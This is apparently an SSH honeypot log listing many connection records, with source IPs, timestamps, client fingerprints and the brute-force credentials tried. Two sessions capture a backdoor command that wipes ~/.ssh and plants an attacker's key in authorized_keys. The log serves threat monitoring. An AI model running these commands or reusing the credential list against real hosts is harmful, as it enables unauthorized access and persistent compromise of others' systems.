Adversarial Observation Interface

193.46.255.86

2026-10-16 20:14:22.332608 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / 9090

Record ID: 86e6920ac7c2

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "86e6920ac7c2",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-16T20:14:22.332608Z",
  "end_time": "2026-10-16T20:14:28.342213Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "9090"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

64.89.160.135

2026-10-16 20:08:12.882978 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 198a7cc40058

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "198a7cc40058",
  "src_ip": "64.89.160.135",
  "start_time": "2026-10-16T20:08:12.882978Z",
  "end_time": "2026-10-16T20:08:13.047722Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

181.46.69.61

2026-10-16 20:05:44.248272 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9b39bceb830d

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "9b39bceb830d",
  "src_ip": "181.46.69.61",
  "start_time": "2026-10-16T20:05:44.248272Z",
  "end_time": "2026-10-16T20:05:44.251497Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

181.46.69.61

2026-10-16 20:05:35.811122 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7a1a070eaeb7

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "7a1a070eaeb7",
  "src_ip": "181.46.69.61",
  "start_time": "2026-10-16T20:05:35.811122Z",
  "end_time": "2026-10-16T20:05:35.814520Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

139.19.117.130

2026-10-16 20:02:41.916941 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: d461adc40830

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "d461adc40830",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-16T20:02:41.916941Z",
  "end_time": "2026-10-16T20:02:51.916038Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

94.158.58.213

2026-10-16 20:00:10.521136 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cf54367df6ca

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "cf54367df6ca",
  "src_ip": "94.158.58.213",
  "start_time": "2026-10-16T20:00:10.521136Z",
  "end_time": "2026-10-16T20:00:10.524501Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

94.158.58.213

2026-10-16 19:59:43.982830 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cf6f3af7d3cc

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "cf6f3af7d3cc",
  "src_ip": "94.158.58.213",
  "start_time": "2026-10-16T19:59:43.982830Z",
  "end_time": "2026-10-16T19:59:43.986094Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-10-16 19:50:39.741169 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: ebcfb2261f27

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "ebcfb2261f27",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-16T19:50:39.741169Z",
  "end_time": "2026-10-16T19:50:40.909104Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

186.122.1.130

2026-10-16 19:44:29.747052 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f4443950bb0d

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "f4443950bb0d",
  "src_ip": "186.122.1.130",
  "start_time": "2026-10-16T19:44:29.747052Z",
  "end_time": "2026-10-16T19:44:29.750373Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

186.122.1.130

2026-10-16 19:43:58.286505 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 16e3eadc6f9a

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "16e3eadc6f9a",
  "src_ip": "186.122.1.130",
  "start_time": "2026-10-16T19:43:58.286505Z",
  "end_time": "2026-10-16T19:43:58.289927Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-10-16 19:32:25.707874 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 18091979

Record ID: 97d1cc644282

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "97d1cc644282",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-16T19:32:25.707874Z",
  "end_time": "2026-10-16T19:32:31.713334Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "18091979"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

192.168.0.1

2026-10-16 19:24:12.585965 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 71e1e12fb894

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "71e1e12fb894",
  "src_ip": "192.168.0.1",
  "start_time": "2026-10-16T19:24:12.585965Z",
  "end_time": "2026-10-16T19:24:12.598642Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.24.211.219

2026-10-16 19:16:24.230112 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: minecraft / minecraft

Record ID: cfe6964b793d

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 1.4s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "cfe6964b793d",
  "src_ip": "193.24.211.219",
  "start_time": "2026-10-16T19:16:24.230112Z",
  "end_time": "2026-10-16T19:16:25.582829Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "minecraft"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

170.247.207.125

2026-10-16 19:16:23.044032 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6fb799dcf21e

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "6fb799dcf21e",
  "src_ip": "170.247.207.125",
  "start_time": "2026-10-16T19:16:23.044032Z",
  "end_time": "2026-10-16T19:16:23.047380Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

170.247.207.125

2026-10-16 19:15:16.863766 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 45a94b2b2413

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "45a94b2b2413",
  "src_ip": "170.247.207.125",
  "start_time": "2026-10-16T19:15:16.863766Z",
  "end_time": "2026-10-16T19:15:16.867003Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

164.52.105.37

2026-10-16 19:12:27.547934 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: neil

Record ID: 736804b42ab3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "736804b42ab3",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:12:27.547934Z",
  "end_time": "2026-10-16T19:12:29.894113Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "neil",
      "pass": "neil"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

80.94.95.109

2026-10-16 19:11:09.815322 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Hello1234!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: b1b8adb24a25

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "b1b8adb24a25",
  "src_ip": "80.94.95.109",
  "start_time": "2026-10-16T19:11:09.815322Z",
  "end_time": "2026-10-16T19:11:11.053300Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Hello1234!"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

164.52.105.37

2026-10-16 19:10:52.164180 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 18bfcebd4cfa

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "18bfcebd4cfa",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:10:52.164180Z",
  "end_time": "2026-10-16T19:10:53.495164Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:10:49.601410 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 8d218b8ea7c3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8d218b8ea7c3",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:10:49.601410Z",
  "end_time": "2026-10-16T19:10:51.952754Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:10:46.857915 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / sas

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 876f6e3d8749

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "876f6e3d8749",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:10:46.857915Z",
  "end_time": "2026-10-16T19:10:53.490664Z",
  "duration": "6.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sas"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

164.52.105.37

2026-10-16 19:09:16.020866 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dockeruser

Record ID: 6664b55b5957

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6664b55b5957",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:09:16.020866Z",
  "end_time": "2026-10-16T19:09:18.341400Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "dockeruser",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:07:43.666228 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian

Record ID: 82ce3caab9ff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "82ce3caab9ff",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:07:43.666228Z",
  "end_time": "2026-10-16T19:07:45.982577Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "debian",
      "pass": "Admin123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:06:10.386393 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: xwiki

Record ID: cc6075801b4f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cc6075801b4f",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:06:10.386393Z",
  "end_time": "2026-10-16T19:06:12.715101Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "xwiki",
      "pass": "xwiki123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:04:40.649664 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 7f09d10e59f4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7f09d10e59f4",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:04:40.649664Z",
  "end_time": "2026-10-16T19:04:41.968182Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:04:38.093655 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 869ce338be9c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "869ce338be9c",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:04:38.093655Z",
  "end_time": "2026-10-16T19:04:40.443973Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:04:35.343301 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / lemon123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d4518e8216a7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d4518e8216a7",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:04:35.343301Z",
  "end_time": "2026-10-16T19:04:41.965261Z",
  "duration": "6.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "lemon123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

139.19.117.130

2026-10-16 19:04:35.092638 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: 1ad4139d9c2b

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "1ad4139d9c2b",
  "src_ip": "139.19.117.130",
  "start_time": "2026-10-16T19:04:35.092638Z",
  "end_time": "2026-10-16T19:04:45.091486Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:03:03.808481 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: reinaldo

Record ID: 0f3e770eb9a2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0f3e770eb9a2",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:03:03.808481Z",
  "end_time": "2026-10-16T19:03:06.125758Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "reinaldo",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

164.52.105.37

2026-10-16 19:01:31.607268 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: readonly

Record ID: a371f1538312

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a371f1538312",
  "src_ip": "164.52.105.37",
  "start_time": "2026-10-16T19:01:31.607268Z",
  "end_time": "2026-10-16T19:01:33.921175Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "readonly",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

189.161.253.111

2026-10-16 19:00:00.106803 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb719bd06700

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "bb719bd06700",
  "src_ip": "189.161.253.111",
  "start_time": "2026-10-16T19:00:00.106803Z",
  "end_time": "2026-10-16T19:00:00.110188Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

164.52.105.37

2026-10-16 18:59:49.942266 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: desenvolvimento

Record ID: 537b9e8a8fc6

